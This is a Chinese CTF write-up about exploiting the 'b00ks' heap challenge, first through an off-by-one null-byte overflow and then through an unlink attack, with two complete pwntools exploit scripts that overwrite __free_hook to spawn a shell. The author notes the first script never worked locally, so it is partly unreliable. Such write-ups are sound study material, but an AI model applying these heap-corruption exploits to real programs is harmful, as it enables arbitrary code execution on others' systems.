登录后台

页面导航

本文编写于 421 天前,最后修改于 118 天前,其中某些信息可能已经过时。

0x00 前言

pwn堆入门系列教程1:https://xz.aliyun.com/t/6087

太菜了,学pwn好一段时间了,连解析都看不懂o(╥﹏╥)o,这次狠下心中秋三天放假要把先知社区这位师傅的pwn教程看懂!!!

方法一:off-by-one

Welcome to ASISCTF book library
Enter author name: aaa

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 

功能很齐全~

signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if ( a2 <= 0 )
    return 0LL;
  buf = a1;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == 10 )
      break;
    ++buf;
    if ( i == a2 )
      break;
  }
  *buf = 0;  //存在单字节溢出,输入author后会在末尾加一个'\x00'
  return 0LL;
}

当我们输入的内容将'x00'覆盖时,输出author时会将后面数据一起输出,这样我们就可以leak出chunk的地址

books的结构体:

struct{
int id
char* name
char* description
int size
}
/*
*((_DWORD *)v4 + 6) = v2;size
*((_QWORD *)v4 + 2) = v6;description
*((_QWORD *)v4 + 1) = ptr;name
*(_DWORD *)v4 = ++unk_565149AC3024;id
*/

这里给大家解释一下为什么汇编中为什么最后的size存放的位置是v4+6:这里面涉及到一个内存对齐的概念,因为这是一个64位的程序,机器字长为8个字节,id是int型数据,存入堆中只存了4字节。而接下来存的name是一个指针类型数据,在64位系统中是8字节,不能把name指针拆成两半,如果拆开的话还要再次组合对于底层硬件来说是一个复杂的事。所以为了进一步提高速度,将那么指针放入了后面新的8字节。这样一来就空出了4字节。

add一次的效果:

0x556fd21f0010 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x61, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x91
}
0x556fd21f0030 PREV_INUSE {
  prev_size = 0, 
  size = 145, 
  fd = 0x62, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x556fd21f00c0 FASTBIN {
  prev_size = 0, 
  size = 49, 
  fd = 0x1, 
  bk = 0x556fd21f0020, 
  fd_nextsize = 0x556fd21f0040, 
  bk_nextsize = 0x80
}

理清一下思路:
1.填满author(0x20),制造单字节溢出;
2.创建chunk1,这样就会覆盖'x00',这样在输出author的时候就可以泄露chunk1的地址;
3.泄露chunk1的地址;
4.创建一个chunk2,这个chunk需要大一点,这样系统就会从mmap申请内存,这块内存和libc有固定的偏移;
5.(关键点来了)这时候的攻击思路是利用编辑author的时候多写了一个x00字节,可以覆盖到堆块1的地址的最后一位,如果我们提前将堆块1的内容编辑好,按照上述的结构体布置好,name和description我们自己控制,伪造成一个书本的结构体,然后让覆盖过后的地址刚好是book1的description部分的话,;伪造的book1有2层含义,一是b00k1的discription部分(本身可以修改)。二是指向第二个b00k的name字段。
6.后面就简单了,任意读取获得libc地址;
7.任意写将__free_hook函数的地址改写成one_gadget地址。

  1. 由于__free_hook里面的内容不为NULL, 遂执行内容指向的指令, 即execve("/bin/sh", null, environ)

太惨了,本地调试一直不成功,把代码思路总结下吧

from pwn import *
io = process('./b00ks')
elf = ELF('b00ks')
libc = ELF('libc.so.6')
context.log_level = 'debug'
#gdb.attach(io)
def cmd(choice):
    io.recvuntil(">")
    io.sendline(str(choice))

def create(book_size, book_name, desc_size, desc):
    cmd(1)
    io.sendlineafter(": ", str(book_size))
    io.recvuntil(": ")
    if len(book_name) == book_size:#deal with overflow
        io.send(book_name)
    else:
        io.sendline(book_name)
    io.recvuntil(": ")
    io.sendline(str(desc_size))
    if len(desc) == desc_size:
        io.send(desc)
    else:
        io.sendline(desc)

def remove(idx):
    cmd(2)
    io.sendlineafter(": ", str(idx))

def edit(idx, desc):
    cmd(3)
    io.sendlineafter(": ", str(idx))
    io.sendlineafter(": ", str(desc))

def printbook(id):
    io.readuntil("> ")
    io.sendline("4")
    io.readuntil(": ")
    for i in range(id):
        book_id = int(io.readline()[:-1])
        io.readuntil(": ")
        book_name = io.readline()[:-1]
        io.readuntil(": ")
        book_des = io.readline()[:-1]
        io.readuntil(": ")
        book_author = io.readline()[:-1]
    return book_id, book_name, book_des, book_author

def author_name(name):
    cmd(5)
    io.sendlineafter(": ", str(name))


io.sendlineafter(": ", "author".rjust(0x20,'a'))   //填满author,制造单字节溢出;
create(48, '1a', 280, '1b') #1  
book_id_1, book_name, book_des, book_author = printbook(1)
first_heap = u64(book_author[32:32+6].ljust(8,'\x00'))  //author可以越界读,此时可以读出chunk1的地址
io.success('first_heap: 0x%x' % first_heap)
create(0x21000, '2a', 0x21000, '2b')#2  //创建一个大chunk2
payload =  'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
/*伪造成一个书本的结构体,然后让覆盖过后的地址刚好是book1的description部分的话,这样相当于book2的指针落入了可控区域*/
edit(1, payload)  
author_name("author".rjust(0x20,'a'))  //覆盖最后一个地址为'\x00',使它刚好落在可控区域
book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,'\x00'))  //输出book2的地址
book2_des_addr = u64(book_des.ljust(8, '\x00'))
io.success("book2 name addr: 0x%x" % book2_name_addr)
io.success("book2 des addr: 0x%x" % book2_des_addr)
libc_base = book2_des_addr - 0x5832720   //计算libc,后面的地址需要在gdb调试过程中获取
io.success("libc_base: 0x%x" % libc_base)
free_hook = libc_base + libc.symbols['__free_hook']  
offset = 0x10a38c  //onegadget偏移可以用工具算出来
one_gadget = libc_base + offset
io.success("free_hook addr: 0x%x" % free_hook)
io.success("one_gadget addr: 0x%x" % one_gadget)
edit(1, p64(free_hook))  //
edit(2, p64(one_gadget))  //
remove(2)
io.interactive()

方法二:unlink

unlink原理

void unlink(malloc_chunk P, malloc_chunk BK, malloc_chunk *FD)

{

FD = P->fd;

BK = P->bk;

FD->bk = BK;

BK->fd = FD;
}

来看看chunk的数据结构

struct chunk{
    int pre_size;
    int size;
    char *fd; //前驱指针 forward
    char *bk; // 后继指针 back
    数据部分
}

将b从链表中解链就是unlink
过程:
FD = b->fd; //实际就是FD=a
BK = b->bk; //实际就是BK=c
FD->bk = BK; //就是从a->b变成a->c
BK->fd = FD; //就是从c->b变成c->a

unlink攻击过程:

1.利用off-by-one覆盖掉结果的null字节,泄露第一个堆块的地址

2.泄露掉后利用unlink,使得堆块4的mem部分的指针指向ptr-0x18处,ptr-0x18为自定义的地址,其实就是堆块4,就是create出来的那个堆块

3.覆盖堆块4的内容,修改了堆块4的description的指针,指向了堆块6的description部分的指针

4.其实第三部分就相当于获得了一个任意地址读写的指针

5.这里有好几次修改容易绕晕,我绕了两天才绕出来,第一次修改的时候是将chunk4整体改写,从开头到description指针,全部改掉,将chunk4的description指向chunk6结构体的description

6.然后第二次编辑的时候就是编辑chunk6结构体的description,这样就可以修改chunk6的description指针指向任意地点

7.利用这个特性输出,输出了libc的地址,具体libc在哪个位置可以通过调试得到

8.利用这个特性任意地址写,先对整体过程有个大概的了解,在一步步讲

过程中的坑
1.开头remove两次是有原因的,这样会让堆块6的结构体在前面几个堆块内,因为堆块同样大小的在free过后在malloc后会再次利用,这样方便我们自己调试查看以及利用
2.调试时候的计算问题,可以用你当时调试出来的减去后两位数字,获得个heap_base这样直接利用heap_base + 偏移比较快计算结果
3.当申请不是16的整数倍的时候,他会转换成16的整数倍,比如我exp中的0x108,实际大小会变成111,还有个1是标记的,他会将下一个chunk的pre_size拿来使用,因为没有free的话,pre_size是没用的,为了不浪费空间,就使用了

from pwn import *
io = process('./b00ks')
elf = ELF('b00ks')
libc = ELF('libc.so.6')
context.log_level = 'debug'
#gdb.attach(io)
def cmd(choice):
    io.recvuntil(">")
    io.sendline(str(choice))

def create(book_size, book_name, desc_size, desc):
    cmd(1)
    io.sendlineafter(": ", str(book_size))
    io.recvuntil(": ")
    if len(book_name) == book_size:#deal with overflow
        io.send(book_name)
    else:
        io.sendline(book_name)
    io.recvuntil(": ")
    io.sendline(str(desc_size))
    if len(desc) == desc_size:
        io.send(desc)
    else:
        io.sendline(desc)

def remove(idx):
    cmd(2)
    io.sendlineafter(": ", str(idx))

def edit(idx, desc):
    cmd(3)
    io.sendlineafter(": ", str(idx))
    io.sendlineafter(": ", str(desc))

def printf():
    cmd(4)

def author_name(name):
    cmd(5)
    io.sendlineafter(": ", str(name))

io.sendlineafter(": ", "author".rjust(0x20,'a'))
create(0x20, '11111', 0x20, 'b') #1
printf()
io.recvuntil('Author: ')
io.recvuntil("author")
first_heap = u64(io.recvline().strip().ljust(8, '\x00'))
create(0x20, "22222", 0x20, "desc buf") #2
create(0x20, "33333", 0x20, "desc buf") #3
remove(2)
remove(3)
create(0x20, "33333", 0x108, 'overflow') #4
create(0x20, "44444", 0x100-0x10, 'target') #5
create(0x20, "/bin/sh\x00", 0x200, 'to arbitrary read and write') #6
heap_base = first_heap - 0x80
ptr = heap_base + 0x180
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
edit(4, payload)
remove(5)
payload = p64(0x30) + p64(4) + p64(first_heap+0x40)*2
edit(4, payload)
edit(4, p64(heap_base + 0x1e0))
printf()
for _ in range(3):
    io.recvuntil('Description: ')
content = io.recvline()
io.info(content)
libc_base = u64(content.strip().ljust(8, '\x00'))-0x3c4b78
io.success("libc_base: 0x%x" % libc_base)
system_addr = libc_base + libc.symbols['system']
io.success('system: 0x%x' % system_addr)
free_hook = libc_base + libc.symbols['__free_hook']
payload = p64(free_hook) + p64(0x200)
edit(4, payload)
edit(6, p64(system_addr))
io.success('first_heap: 0x%x' % first_heap)
remove(6)

io.interactive()